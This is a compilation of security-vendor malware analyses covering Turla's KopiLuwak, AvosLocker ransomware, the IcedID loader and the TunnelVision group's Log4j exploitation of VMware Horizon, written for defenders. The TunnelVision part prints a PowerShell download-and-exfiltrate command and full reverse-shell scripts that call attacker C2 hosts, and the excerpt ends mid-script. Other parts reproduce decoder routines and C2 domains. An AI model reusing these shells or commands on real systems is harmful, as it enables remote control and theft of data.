Meanwhile, scripts that are decrypted and run directly in memory are exposed by Antimalware Scan Interface (AMSI) instrumentation in scripting engines, while launching PowerShell with a command-line that specifies encoded commands is defeated by command-line scanning. Tamper protection in Microsoft Defender ATP protects against system modifications that attempt to disable Windows Defender Antivirus.
These multiple layers of protection are part of the threat and malware prevention capabilities in Microsoft Defender ATP. The complete endpoint protection platform provides multiple capabilities that empower security teams to defend their organizations against attacks like Nodersok. Attack surface reduction shuts common attack surfaces. Threat and vulnerability management, endpoint detection and response, and automated investigation and remediation help organizations detect and respond to cyberattacks. Microsoft Threat Experts, Microsoft Defender ATP’s managed detection and response service, further helps security teams by providing expert-level monitoring and analysis.
With Microsoft Threat Protection, these endpoint protection capabilities integrate with the rest of Microsoft security solutions to deliver comprehensive protection for identities, endpoints, email and data, apps, and infrastructure.
**Andrea Lelli**
Microsoft Defender ATP Research |
# KopiLuwak: A New JavaScript Payload from Turla
**Authors**
Brian Bartholomew
On 28 January 2017, John Lambert of Microsoft (@JohnLaTwC) tweeted about a malicious document that dropped a “very interesting .JS backdoor“. Since the end of November 2016, Kaspersky Lab has observed Turla using this new JavaScript payload and specific macro variant. This is a technique we’ve observed before with Turla’s ICEDCOFFEE payloads, detailed in a private report from June 2016 (available to customers of Kaspersky APT Intelligence Services). While the delivery method is somewhat similar to ICEDCOFFEE, the JavaScript differs greatly and appears to have been created mainly to avoid detection. Targeting for this new malware is consistent with previous campaigns conducted by Turla, focusing on foreign ministries and other governmental organizations throughout Europe. Popularity of the malware, however, is much lower than ICEDCOFFEE, with victim organizations numbering in the single digits as of January 2017. We assess with high confidence this new JavaScript will be used more heavily in the future as a stage 1 delivery mechanism and victim profiler.
The malware is fairly simplistic but flexible in its functionality, running a standard batch of profiling commands on the victim and also allowing the actors to run arbitrary commands via Wscript.
## Actor Profile
Turla, also known as Snake / Uroburos / Venomous Bear and KRYPTON, is a Russian-speaking APT group that has been active since at least 2007. Its activity can be traced to many high-profile incidents, including the 2008 attack against the US Central Command (see Buckshot Yankee incident) or more recently, the attack against RUAG, a Swiss military contractor. The Turla group has been known as an agile, very dynamic and innovative APT, leveraging many different families of malware, satellite-based command and control servers, and malware for non-Windows OSes.
Targeting Ukraine, EU-related institutions, governments of EU countries, Ministries of Foreign Affairs globally, media companies, and possibly corruption-related targets in Russia, the group intensified their activity in 2014, which we described in our paper Epic Turla. During 2015 and 2016, the group diversified their activities, switching from the Epic Turla waterhole framework to the Gloog Turla framework, which is still active. They also expanded their spear phishing activities with the Skipper / WhiteAtlas attacks, which leveraged new malware. Recently, the group has intensified their satellite-based C&C registrations ten-fold compared to their 2015 average.
## Technical Details
**Sample MD5:** 6e7991f93c53a58ba63a602b277e07f7
**Name:** National Day Reception (Dina Mersine Bosio Ambassador’s Secretary).doc
**Author:** user
**Last Modified By:** John
**Create Date:** 2016:11:16 21:58:00
**Modify Date:** 2016:11:24 17:42:00
The lure document above shows an official letter from the Qatar Embassy in Cyprus to the Ministry of Foreign Affairs (MoFA) in Cyprus. Based on the name of the document, it is presumed it may have been sent from the Qatar Ambassador’s secretary to the MoFA, possibly indicating Turla already had control of at least one system within Qatar’s diplomatic network.
The document contains a malicious macro, very similar to previous macros used by Turla in the past to deliver Wipbot, Skipper, and ICEDCOFFEE. However, the macro did contain a few modifications to it, mainly the XOR routine used to decode the initial JavaScript and the use of a “marker” string to find the embedded payload in the document.
### New XOR Routine
Below is a snippet of the new XOR routine used to decode the initial JavaScript payload. Turla has consistently changed the values used in this routine over the last year, presumably to avoid easy detection:
```vb
Function Q7JOhn5pIl648L6V43V(EjqtNRKMRiVtiQbSblq67() As Byte, M5wI32R3VF2g5B21EK4d As Long) As Boolean
Dim THQNfU76nlSbtJ5nX8LY6 As Byte
THQNfU76nlSbtJ5nX8LY6 = 45
For i = 0 To M5wI32R3VF2g5B21EK4d - 1
EjqtNRKMRiVtiQbSblq67(i) = EjqtNRKMRiVtiQbSblq67(i) Xor THQNfU76nlSbtJ5nX8LY6
THQNfU76nlSbtJ5nX8LY6 = ((THQNfU76nlSbtJ5nX8LY6 Xor 99) Xor (i Mod 254))
Next i
Q7JOhn5pIl648L6V43V = True
End Function
```
Here is a function written in Python to assist in decoding of the initial payload:
```python
def decode(payload, length):
varbyte = 45
i = 0
for byte in payload:
payload[i] = byte ^ varbyte
varbyte = ((varbyte ^ 99) ^ (i % 254))
i += 1
```
### Payload Offset
Another change in the macro is the use of a “marker” string to find the payload offset in the document. Instead of using hard coded offsets at the end of the document as in ICEDCOFFEE, the macro uses the below snippet to identify the start of the payload:
```vb
Set VUy5oj112fLw51h6S = CreateObject("vbscript.regexp")
VUy5oj112fLw51h6S.Pattern = "MxOH8pcrlepD3SRfF5ffVTy86Xe41L2qLnqTd5d5R7Iq87mWGES55fswgG84hIRdX74dlb1SiFOkR1Hh"
Set I4j833DS5SFd34L3gwYQD = VUy5oj112fLw51h6S.Execute(KqG31PcgwTc2oL47hjd7Oi)
```
### Second Layer JavaScript
Once the marker is found, the macro will carve out “15387 + 1” bytes (hard coded) from the end of the marker and pass that byte array to the aforementioned decoding routine. The end result is a JavaScript file (mailform.js – MD5: 05d07279ed123b3a9170fa2c540d2919) written to “%APPDATA%MicrosoftWindows”.
**mailform.js – malicious obfuscated JavaScript payload**
This file is then executed using Wscript.Shell.Run() with a parameter of “NPEfpRZ4aqnh1YuGwQd0”. This parameter is an RC4 key used in the next iteration of decoding detailed below.
The only function of mailform.js is to decode the third layer payload stored in the JavaScript file as a Base64 string. This string is Base64 decoded, then decrypted using RC4 with the key supplied above as a parameter (“NPEfpRZ4aqnh1YuGwQd0”). The end result is yet another JavaScript which is passed to the eval() function and executed.
### Third Layer JavaScript
The third layer payload is where the C2 beaconing and system information collection is performed. This JS will begin by copying itself to the appropriate folder location based on the version of Windows running:
1. c:Users<USERNAME>AppDataLocalMicrosoftWindowsmailform.js
2. c:Users<USERNAME>AppDataLocalTempmailform.js
3. c:Documents and Settings<USERNAME>Application DataMicrosoftWindowsmailform.js
### Persistence
Next, it will establish persistence on the victim by writing to the following registry key:
**Key:** HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\mailform
**Value:** wscript.exe /b “<PATH_TO_JS> NPEfpRZ4aqnh1YuGwQd0”
### Profiling
After establishing its persistence, it will then execute a series of commands on the victim system using “cmd.exe /c” and store them to a file named “~dat.tmp”, in the same folder where “mailform.js” is located:
- systeminfo
- net view
- net view /domain
- tasklist /v
- gpresult /z
- netstat -nao
- ipconfig /all
- arp -a
- net share
- net use
- net user
- net user administrator
- net user /domain
- net user administrator /domain
- set
- dir %systemdrive%Users*.*
- dir %userprofile%AppDataRoamingMicrosoftWindowsRecent*.*
- dir %userprofile%Desktop*.*
- tasklist /fi “modules eq wow64.dll”
- tasklist /fi “modules ne wow64.dll”
- dir “%programfiles(x86)%”
- dir “%programfiles%”
- dir %appdata%
Once the information is collected into the temporary “~dat.tmp” file, the JavaScript reads its contents into memory, RC4 encrypts it with the key “2f532d6baec3d0ec7b1f98aed4774843”, and deletes the file after a 1 second sleep, virtually eliminating storage of victim information on disk and only having an encrypted version in memory.
### Network Communications
With the victim info stored in encrypted form in memory, the JavaScript then will perform the necessary callback(s) to the C2 servers which are hard coded in the payload. The addresses seen in this payload were as follows:
- http://soligro[.]com/wp-includes/pomo/db.php
- http://belcollegium[.]org/wp-admin/includes/class-wp-upload-plugins-list-table.php
It should be noted that the above domains appear to have been compromised by the actor based on the locations of the PHP scripts.
**Belcollegium[.]org** – a legitimate website compromised and used for C2
Victim data is sent to the C2 servers in the form of a POST request. The headers of the POST request contain a unique User-Agent string that will remain the same per victim system. The User-Agent string is created by performing the following steps:
1. Concatenate the string “KRMLT0G3PHdYjnEm” + <SYSTEM_NAME> + <USER NAME>
2. Use the above string as input to the following function (System Name and User Name have been filled in with example data ‘Test’ and ‘Admin’):
```javascript
function EncodeUserAgent() {
var out = "";
var UserAgent = 'KRMLT0G3PHdYjnEm' + 'Test' + 'Admin';
for (var i = 0; i < 16; i++) {
var x = 0;
for (var j = i; j < UserAgent.length - 1; j++) {
x = x ^ UserAgent.charCodeAt(j);
}
x = (x % 10);
out = out + x.toString(10);
}
out = out + 'KRMLT0G3PHdYjnEM';
return out;
}
```
The function above will produce a unique “UID” consisting of a 16-digit number with the string “KRMLT0G3PHdYjnEm” appended to the end. In the example above using the System Name “Test” and User Name “Admin”, the end result would be “2356406508689132KRMLT0G3PHdYjnEm”.
3. Prepend the string “user-agent:”, “Mozilla/5.0 (Windows NT 6.1; Win64; x64); ” to the result from the last step. This will now be the unique User-Agent value for the victim callbacks. In this example, the final result will be “user-agent:”, “Mozilla/5.0 (Windows NT 6.1; Win64; x64); 2356406508689132KRMLT0G3PHdYjnEm”.
The POST request will contain the unique User-Agent string above as one of the headers and also the Base64 encoded version of the RC4 encrypted victim data collected earlier.
The C2 will respond in one of four ways after the POST request:
1. “good”
2. “exit”
3. “work”
4. “fail”
In the case of an answer of “good”, the JavaScript will then sleep for a random amount of time, ranging from 3600-3900 seconds.
The “exit” command will cause the script to exit gracefully, thus shutting down the communications to the C2 server until next startup/login from the user.
The “fail” command is for uninstalling the JavaScript and its persistence. Both the “mailform.js” file and registry key created for persistence will be deleted upon receipt of this command.
The “work” command is used to task the victim’s system to run arbitrary commands via Wscript.shell.run(). It begins by checking to see if a file “mailform.pif” exists in the same directory as the JavaScript, and if so, it will delete it. The victim will then send a POST request to the C2 much in the same way as before with the beacon traffic, but with some slight differences. The User-Agent header will remain the same as in the beacon traffic, but the data sent to the C2 will consist of the 4-byte string “work”. If the response from the server after this acknowledgement is “200 OK”, then the system will proceed to read the response data into memory, RC4 encrypt it using the same key “2f532d6baec3d0ec7b1f98aed4774843”, then write it out to the “mailform.pif” file referenced above. The command file is run, the JavaScript will sleep for 30 seconds, and then the file is subsequently deleted.
## Victims and Sinkholing
One of the domains involved in this new malware (soligro[.]com) expired in July 2016 and was available for purchase and sinkhole at the time of the analysis. Sinkhole data shows several potential victims, with one high profile victim (195.251.32.62) located within the Greek Parliament. The majority of connections to the sinkhole server have been observed from IP ranges residing within Greece. This leads us to believe the main target for the specific document above was Greece, although we also have indications of targeting in Romania and Qatar based on other data.
## Conclusions
In recent months, the Turla actors have increased their activity significantly. The addition of KopiLuwak to their already existing ICEDCOFFEE JavaScript payload indicates the group continues to evolve and deliver new tools to avoid detection by known malware signatures.
Currently, it seems the Turla actors continue to rely heavily on embedded macros in Office documents. While this may appear to be an elementary technique to use for such a sophisticated actor, they are repeatedly successful in compromising high value targets with this method. It is advised that users disable macros in their enterprise and not allow the user to enable said content unless absolutely necessary. Furthermore, using the polymorphic obfuscation technique for the macros has caused difficulties in writing signatures for detection. |
# AvosLocker Enters the Ransomware Scene, Asks for Partners
**Threat Intelligence Team**
**July 23, 2021**
**Authored by Hasherezade**
In mid-July, we responded to an incident that involved an attack on a Microsoft Exchange server. The threat actor used this entry point to get into a Domain Controller and then leveraged it as a springboard to deploy ransomware. While examining the ransomware payload, we noticed it was a new variant which we had not heard of before. In this blog, we will take a look at AvosLocker, a solid, yet not too fancy new ransomware family that has already claimed several victims. This type of ransomware attack is unfortunately all too common these days and has wreaked havoc across many industries. With the disappearance of the infamous REvil, it is possible new threat actors are actively looking to fill the void.
## New Ransomware, Looking for Partners
Avos is a relatively new ransomware that was observed in late June and early July. Its authors started searching for affiliates through various underground forums. They announced a recruitment for “pentesters with Active Directory network experience” and “access brokers,” which suggests that they want to cooperate with people who have remote access to hacked infrastructure. In another advert, they describe the product they offer: a multi-threaded ransomware written in C++. They offer not only the malware but also help in managing the communication with the victim and hosting of the data stolen during the operation. Soon, some victims of this ransomware started to emerge.
## Behavioral Analysis
AvosLocker is run manually by the attacker who remotely accessed the machine. For this reason, it is not trying to be stealthy during its run. In default mode, it works as a console application reporting details about its progress on screen.
### Example: Avos in Action
A sample log from the run (shortened):
```
drive: C:
drive: D:
Threads init
Map: C:
Searching files on: C:*
file: C:\autoexec.bat
Map: D:
Searching files on: D:*
FindFirstFileA: INVALID_HANDLE_VALUE
drive D: took 0.002000 seconds
Start encryption on C:
Encrypting C:\autoexec.bat - ext bat - capped YES
Searching files on: C:_pin*
file: C:_pin\pinadx-vsextension-3.17.98314-g0c048d619.bat
Start encryption on C:
Encrypting C:_pin\pinadx-vsextension-3.17.98314-g0c048d619.bat - ext bat - capped YES
[...]
Searching files on: C:\Documents and Settings*
FindFirstFileA: INVALID_HANDLE_VALUE
Searching files on: C:\$Recycle.Bin*
drive C: took 52.590000 seconds
Done!!
64.620000 seconds
```
Looking at the log, we can see that the ransomware first “maps” the accessible drives by listing all their files. After that, it goes to the encryption. The files are selected for encryption depending on their extensions. The files that have been encrypted by AvosLocker can be identified with the .avos extension appended to the original filename. While the content is unreadable, at the end, we find a Base64-encoded block added. We can assume that this Base64-encoded data contains the RSA-protected AES key that was used for encrypting this file. Each attacked directory has a ransom note dropped in it, named GET_YOUR_FILES_BACK.txt. Interestingly, the ID is not generated during the deployment but hardcoded in the sample. This may mean that the distributors generate a sample per victim.
The link given in the ransom note guides to the Onion website, requesting the ID that was also in the note. Upon the ID submission, the victim is presented with the individual panel. In addition to the casual threats about increasing the price after the deadline has passed, this ransomware adds blackmail by doxing. The additional website titled “Press releases” is provided to prove that those aren’t just empty threats.
## Visual Analysis
Visualizing the content of the encrypted files shows their high entropy. No patterns from the original file content were preserved.
### Example: Visualization of the Original File (Before Encryption)
### Example: Visualization of the Same File, Encrypted by Avos
Those properties suggest that a strong encryption algorithm was used, probably in a CBC mode (Cipher Block Chaining). Also, the same plaintext files have been encrypted into different ciphertext output. This suggests that for each file, a new key (or at least a new initialization vector) was generated.
## Inside
This ransomware is dedicated to be deployed by the attacker manually on the hacked machines. This purpose is reflected in the design. In contrast to most malware, AvosLocker comes without any protective (crypter) layer. Yet, it’s not completely defenseless: all the strings and some of the APIs are obfuscated in order to evade static detection. Yet, during its execution, it yells out on the console the logs of the performed actions, so that the attacker could observe in real time what the program is doing.
### Execution Flow
The execution starts in the main function. First, the malware checks if it was provided with the optional command-line arguments. By supplying them, the attacker can enable/disable some of the features. Then, the mutex name is decoded (“ievah8eVki3Ho4oo”), and its presence is checked. It is done in order to prevent the ransomware from being run more than once at the time. If the mutex already exists, the execution terminates.
This malware may come with a hardcoded RSA Public Key of the attacker. This key will be further used for encrypting individual AES keys used for encrypting files. Yet, the presence of the Public Key is optional. In case it wasn’t provided, the application will generate a new key pair. After this preparation, the malware proceeds to encrypt files. Depending on the argument given, it may encrypt network resources. Then, unconditionally, it encrypts drives. The encryption operations are run in new threads.
After the encryption is done, it prints information for the attacker. Then, all the running threads are finalized. At the end, the malware prints the summary about how long it took to encrypt available resources.
### Arguments
By default, it runs as a console application, yet the console can be hidden by supplying a specific command-line argument: ‘h’ (hide). There is also a command-line argument allowing to opt out encryption of network resources: ‘n’ (network).
## String Obfuscation
As mentioned before, Avos uses string obfuscation. All the strings are obfuscated by XOR with the given key and deobfuscated just before use. Although the algorithm is simple, the way it implements it is especially tedious to counteract. Rather than having one central deobfuscating function, each of such operations is done inline.
### Example: Deobfuscating Mutex Name Before Use
### Example: Deobfuscating Debug String Before Use
## API Obfuscation
As well as the strings, some of the APIs used by the malware are obfuscated. Functions are retrieved by their checksums, which is a common trick used by malware in order to avoid hardcoding names of the functions which may raise suspicions. This way of obfuscating API calls not only hides the used functions but also adds volume to the code, making it more unreadable and difficult to follow. Yet, it is easy to reveal the used function names with the help of tracing and tagging.
### Example: Calling a Function Just After Searching It
## Attacked Targets
The ransomware encrypts all attached drives. Additionally, unless the argument (‘n’) was given from the command line, the ransomware proceeds to encrypt network shares. Available resources are being enumerated in a loop. The accessible network shares are getting encrypted. From each medium, the files are first added to the list. Then, the created list is processed by the encryption routine. Files with the following extensions are being attacked:
ndoc, docx, xls, xlsx, ppt, pptx, pst, ost, msg, eml, vsd, vsdx, txt, csv, rtf, wks, wk1, pdf, dwg, onetoc2, snt, jpeg, jpg, docb, docm, dot, dotm, dotx, xlsm, xlsb, xlw, xlt, xlm, xlc, xltx, xltm, pptm, pot, pps, ppsm, ppsx, ppam, potx, potm, edb, hwp, 602, sxi, sti, sldx, sldm, sldm, vdi, vmdk, vmx, gpg, aes, ARC, PAQ, bz2, tbk, bak, tar, tgz, gz, 7z, rar, zip, backup, iso, vcd, bmp, png, gif, raw, cgm, tif, tiff, nef, psd, ai, svg, djvu, m4u, m3u, mid, wma, flv, 3g2, mkv, 3gp, mp4, mov, avi, asf, mpeg, vob, mpg, wmv, fla, swf, wav, mp3, sh, class, jar, java, rb, asp, php, jsp, brd, sch, dch, dip, pl, vb, vbs, ps1, bat, cmd, js, asm, h, pas, cpp, c, cs, suo, sln, ldf, mdf, ibd, myi, myd, frm, odb, dbf, db, mdb, accdb, sql, sqlitedb, sqlite3, asc, lay6, lay, mml, sxm, otg, odg, uop, std, sxd, otp, odp, wb2, slk, dif, stc, sxc, ots, ods, 3dm, max, 3ds, uot, stw, sxw, ott, odt, pem, p12, csr, crt, key, pfx, der, dat.
## How the Encryption Works
Avos uses two strong encryption algorithms: Symmetric (AES) to encrypt files, and Asymmetric (RSA) to encrypt the generated AES keys. This is a very common combo which provides strong data protection. The RSA Public key may be hardcoded in the Avos sample. In the analyzed case, the following Public Key was hardcoded. In case of lack of thereof, a new key pair is generated. The Public Key is stored for further use, and the private key is logged on the screen as the information for the attacker.
### Example: In Case If No Public Key Was Hardcoded in the Sample, a New Key Pair is Generated. A Private Key is Displayed.
The same Private Key is also dumped in each ransom note instead of the ID. This suggests that this mode was created only for testing purposes and is not intended to be used on victims. Only the mode with the Public Key hardcoded is usable in real attack scenarios.
## File Encryption
Before the malware proceeds to encrypt a particular file, it first retrieves a list of associated processes that may be blocking the access. The list is retrieved with the help of RmGetList. If any processes have been found, they are being terminated. Then the malware proceeds with encryption. For each file, an AES key generated by a previously deployed routine is retrieved and used to initialize the AES context. After that, the AES encryption is applied to the file content. The file is encrypted in-place (without creating an additional copy), in 64-byte long chunks. A chunk of plaintext is read, encrypted, and written back to the original file. As we observed during the behavioral analysis, the block with the RSA encrypted, base64-encoded AES key is written at the end.
## AES Key Generation
The generation of random keys is deployed in the function enumerating the files of a particular directory prior to the encryption. For each listed file, a new key and Initialization Vector are generated and stored for further use. As default, the cryptographically strong random generator is used. However, if for some reason this strong generator fails, it falls back to the naive generator (based on the standard rand() function). This may render a flaw in the full encryption scheme. However, the chance of the strong random generator failing is too small to consider worth the attention in real-life scenarios. The malware fetches a buffer of 512 random bytes per each file and then generates out of this a 64-character long string for the key and a 32-character long string for the Initialization Vector.
### Example of the Generated Data:
- The key: “6584cd273625ee121e330a981cc04e1f1d312356c9cccdb62932ea7aad53a731”
- The IV: “cf0c2513b6e074267484d204a1653222”
This key and the initialization vector are further passed to a function initializing the AES context. Although the created key is 64 bytes long, we must note that only the first 32 characters are going to be used. Similarly, in the case of the Initialization Vector, only the first 16 bytes matter. Both strings are treated as ASCII.
### Preview of the File Encrypted with the Presented Key/IV Set:
Example – a ChyberChief recipe decrypting the aforementioned file, using the key and initialization vector dumped from the memory.
## Valid Implementation, Unimpressive Design
AvosLocker does not distinguish itself much from other ransomware (apart from being unusually noisy). All its features are average. Its encryption scheme seems implemented correctly, so recovering the data is not possible without obtaining the original Private Key for a particular sample. It also uses a well-established pair of algorithms: RSA and AES. Although it contains some inconsistencies in the implementation, they do not impact the main goals of this malware. We didn’t find in the sample any routines responsible for uploading the stolen files. Yet, since the model of the delivery of this ransomware assumes manual access, it is possible that the data exfiltration is done manually by the attackers. AvosLocker meets its objective by being a simple tool assisting in the manual attacks and creating the expected damage.
## Protection and Recommendations
- Keep software up-to-date and turn on automatic updates whenever possible.
- Enforce strong password policies and multi-factor authentication (MFA).
- Perform backups and periodically test restoring them.
- Reduce attack surface by removing unused or unnecessary services.
- Mitigate brute-force attacks (this is a feature in our Nebula product).
- Enable tamper protection to prevent attackers from uninstalling your security software (this is a feature in our Nebula product).
AvosLocker is detected without specific signatures by Malwarebytes’ anti-ransomware technology.
## Indicators of Compromise
`43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856` |
# IcedID Gziploader Analysis (Part 1)
**Introduction**
IcedID, also known as BokBot, was among the most active malware families and has been known for loading different types of payloads such as Cobalt Strike. In this report, I’m going to walk through an analysis of a malicious document that distributes and executes an IcedID DLL payload, then the malicious payload itself. Our process is divided into 3 stages (Entry stage + 1st stage + 2nd stage), but unfortunately, I can’t get to the second stage because the C2 server is down. Here I will review some of the characteristics of our different stages:
- **Entry stage:** Malicious document executes VBA macro to download IcedID on the disk.
- **First stage:** Loader is executed and downloads the real malware (C2 is down in this step).
- **Second stage:** The malware for which this process was being performed is executed, and this is something that is determined by the server administrator (Cobalt Strike, for example).
## Entry Stage
**SHA256:** f604ca55de802f334064610d65e23890ab81906cdac3f8a5c7c25126176289c8
I used `olevba` to extract the embedded script from the .doc file. I just want to point out that I used `Exiftool` to extract some metadata to understand the script:
`Exiftool <filename.doc>`
When I opened the document, I found obfuscated content with white color and too small size. So, I gripped it and removed all `%1` instances. This is some of the code after beautifying:
The main function for the whole script is decoding the 2 strings at the top of the HTML code, then creates a connection with the server to download the IcedID DLL Loader. I used `cyberchef` to get these strings.
**Final results:**
## First Stage
The main purpose of this stage is to drop the payload, which could be real malware or another dropper. This process depends on the malware developer and what he wants. Let’s start the analysis with our dropped DLL payload. The dropped file is packed. I tried to upload it to the automatic unpacker `umpac.me`, but it doesn’t support x64 binaries. Let’s unpack it manually with `x64dbg`.
The unpacking process is really simple. It allocates memory for the unpacked code using `VirtualAlloc()`. So we just set a breakpoint at `VirtualAlloc()` and run the debugger twice, then dump the file from memory.
## Decrypt Config
The first function that the malware performs is decrypting the C2 server and campaign number. The malware uses a pretty simple decryption algorithm. It retrieves the encrypted data from the `.data` section then `data[0:32] ^ data[64:96]`. I wrote a Python script to decrypt the config.
```python
import struct
# data[0:32]
data = [0x55, 0x00, 0x29, 0x36, 0x84, 0x33, 0x8f, 0x67, 0x5d, 0xe1, 0x1b, 0xc1, 0x4e, 0xe6, 0x17, 0xf5, 0x2b, 0x35, 0x
# data[64:96]
key = [0x16, 0x68, 0x29, 0x53, 0xe2, 0x5a, 0xfd, 0x02, 0x33, 0x88, 0x78, 0xa0, 0x3a, 0x94, 0x7e, 0x97, 0x47, 0x50, 0x
res = bytearray()
for i in range(32):
res.append(data[i] ^ key[i])
print("CampaignID:", struct.unpack("<I", res[:4])[0])
print("C2:", res[4:].split(b'\x00')[0].decode())
```
**Results**
CampaignID: 1694525507
C2: firenicatrible.com
The first 4 bytes refer to the campaign number that shows the purpose of the attack. Second, C2 decryption.
## Misleading Traffic
The malware sends traffic to `aws.amazon.com` to mislead, and between the lines, it sends a request to the C2 to drop the malicious file.
## Playing with Cookies
This is the first impression when you look at the function that manipulates the request cookies. IcedID sends 6 parameters in cookies after manipulating them numerically. I will give you a summary of them and why they are important, then explain in detail.
| Name | Value |
|-------|--------|
| _gads | First DWORD from decoded config data (Campaign number), flag from inspecting server certificate, number of milliseconds, sys info |
| _gat | Windows version info |
| _ga | Processor info via CPUID including hypervisor brand if available |
| _u | Computer name, Username, and VM detection |
| _io | Domain identifier from SID |
| _gid | Based on physical address of NIC |
### _gads
- **Campaign number:** 1694525507
- **Flag:** The value is most of the time = 1 because the Amazon server is always available.
- **VM detection:** `GetTickCount64` retrieves the number of milliseconds that have elapsed since the system was started.
- **System information:** Retrieves the specified system information.
### _gat
Check version:
### _ga
Check CPU:
### _u
- Computer name
- Username
### _io
Check SID:
### _gid
The `GetAdaptersInfo` function retrieves adapter information for the local computer.
## The View from Sandbox Traffic
Now, the attacker knows almost all the information about the victim’s machine, and he is ready to drop suitable malware to start Stage 2 depending on the campaign number that determines the attack behavior.
## Connect C2 Server
In this step, the malware connects to the C2 server. Then it drops the malicious file in `c:\ProgramData\`. Unfortunately, this is the end of the analysis because the server is down. My next report will be about the second stage of the loader and an example of malware that can be downloaded from it. Stay tuned for more.
## Conclusion
1. Phishing mails drop malicious documents.
2. Malicious document runs VBS script.
3. The script executes JavaScript code to drop DLL file.
4. DLL file connects to C2 server.
There are several steps you can take to protect against phishing:
- Do not reply, even if you recognize the sender as a well-known business or financial institution. If you have an account with this institution, contact them directly and ask them to verify the information included in the email.
- Do not click any links provided in these emails.
- Do not open any attachments. If you receive an attachment you are not expecting, confirm with the senders that they did indeed send the message and meant to send an attachment.
- Do not enter your personal information or passwords on an untrusted website or form referenced in this email.
- Delete the message.
## IOCs
**Hash**
- doc -> f604ca55de802f334064610d65e23890ab81906cdac3f8a5c7c25126176289c8
- Packed dll -> CFE2CAF566857C05A6A686CA296387C5E1BFDDA6915FF0ED984C1C53CD5192A3
- Unpacked dll -> 1A2A8F604B8E4917A7E5A2A8994F748B59CA435C8AABC6D3ED211C696B883BC4
**URLs**
- maldonadoposts.com
- firenicatrible.com
**Files**
- c:\users\public\youYou.jpg
- c:\users\%username%\documents\karolYouYou.hta |
# Log4j2 In The Wild | Iranian-Aligned Threat Actor “TunnelVision” Actively Exploiting VMware Horizon
## Executive Summary
SentinelLabs has been tracking the activity of an Iranian-aligned threat actor operating in the Middle-East and the US. Due to the threat actor’s heavy reliance on tunneling tools, as well as the unique way it chooses to widely deploy those, we track this cluster of activity as TunnelVision. Much like other Iranian threat actors operating in the region lately, TunnelVision’s activities were linked to deployment of ransomware, making the group a potentially destructive actor.
## Overview
TunnelVision activities are characterized by wide exploitation of 1-day vulnerabilities in target regions. During the time we’ve been tracking this actor, we have observed wide exploitation of Fortinet FortiOS (CVE-2018-13379), Microsoft Exchange (ProxyShell), and recently Log4Shell. In almost all of those cases, the threat actor deployed a tunneling tool wrapped in a unique fashion. The most commonly deployed tunneling tools used by the group are Fast Reverse Proxy Client (FRPC) and Plink. TunnelVision activities are correlated to some extent with parts of Microsoft’s Phosphorus, as discussed further in the Attribution section.
In this post, we highlight some of the activities we recently observed from TunnelVision operators, focusing around exploitation of VMware Horizon Log4j vulnerabilities.
## VMware Horizon Exploitation
The exploitation of Log4j in VMware Horizon is characterized by a malicious process spawned from the Tomcat service of the VMware product (`C:\Program Files\VMware\VMware View\Server\bin\ws_TomcatService.exe`). TunnelVision attackers have been actively exploiting the vulnerability to run malicious PowerShell commands, deploy backdoors, create backdoor users, harvest credentials, and perform lateral movement. Typically, the threat actor initially exploits the Log4j vulnerability to run PowerShell commands directly, and then runs further commands by means of PS reverse shells, executed via the Tomcat process.
### PowerShell Commands
TunnelVision operators exploited the Log4j vulnerability in VMware Horizon to run PowerShell commands, sending outputs back utilizing a webhook. In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server:
```powershell
try {
(New-Object System.Net.WebClient).DownloadFile("hxxp://transfer.sh/uSeOFn/ngrok.exe","C:\\Users\Pu");
Rename-Item 'c://Users//public//new.txt' 'microsoft.exe';
$a=iex 'dir "c://Users//public//"' | Out-String;
iwr -method post -body $a https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
} catch {
iwr -method post -body $Error[0] https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}
```
Throughout the activity, the usage of multiple legitimate services was observed. Given an environment is compromised by TunnelVision, it might be helpful to look for outbound connections to any of those legitimate public services:
- transfer.sh
- pastebin.com
- webhook.site
- ufile.io
- raw.githubusercontent.com
### Reverse Shell #1
```powershell
$c = ""
$p = ""
$r = ""
$u = "hxxps://www.microsoft-updateserver.cf/gadfTs55sghsSSS"
$wc = New-Object System.Net.WebClient
$li = (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0];
$c = "whoami"
$c = 'Write-Host " ";'+$c
$r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
$ur = $wc.UploadFile("$u/phppost.php" , "c:\programdata\$env:COMPUTERNAME-$li")
while($true) {
$c = $wc.DownloadString("$u/$env:COMPUTERNAME-$li/123.txt")
$c = 'Write-Host " ";'+$c
if($c -ne $p) {
$r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
$p = $c
$ur = $wc.UploadFile("$u/phppost.php", "c:\programdata\$env:COMPUTERNAME-$li")
}
sleep 3
}
```
Reverse Shell #1 was used in the past by TunnelVision operators (7feb4d36a33f43d7a1bb254e425ccd458d3ea921), utilizing a different C2 server: “hxxp://google.onedriver-srv.ml/gadfTs55sghsSSS”. This C2 was referenced in several articles analyzing TunnelVision activities. Throughout the activity, the threat actor leveraged another domain, `service-management[.]tk`, used to host malicious payloads. According to VirusTotal, this domain was also used to host a zip file (d28e07d2722f771bd31c9ff90b9c64d4a188435a) containing a custom backdoor (624278ed3019a42131a3a3f6e0e2aac8d8c8b438). The backdoor drops an additional executable file (`e76e9237c49e7598f2b3f94a2b52b01002f8e862`) to `%ProgramData%\Installed Packages\InteropServices.exe` and registers it as a service named “InteropServices”. The dropped executable contains an obfuscated version of the reverse shell as described above, beaconing to the same C2 server (`www[.]microsoft-updateserver[.]cf`). Although it is not encrypted, it is deobfuscated and executed in a somewhat similar manner to how PowerLess, another backdoor used by the group, executes its PowerShell payload.
### Reverse Shell #2
```powershell
$hst = "51.89.135.142";
$prt = 443;
function watcher() {
$limit = (Get-Random -Minimum 3 -Maximum 7);
$stopWatch = New-Object -TypeName System.Diagnostics.Stopwatch;
$timeSpan = New-TimeSpan -Seconds $limit;
$stopWatch.Start();
while ((($stopWatch.Elapsed).TotalSeconds -lt $timeSpan.TotalSeconds)) {};
$stopWatch.Stop();
};
watcher;
$arr = New-Object int[] 500;
for ($i = 0; $i -lt 99; $i++) {
$arr[$i] = (Get-Random -Minimum 1 -Maximum 25);
};
if ($arr[0] -gt 0) {
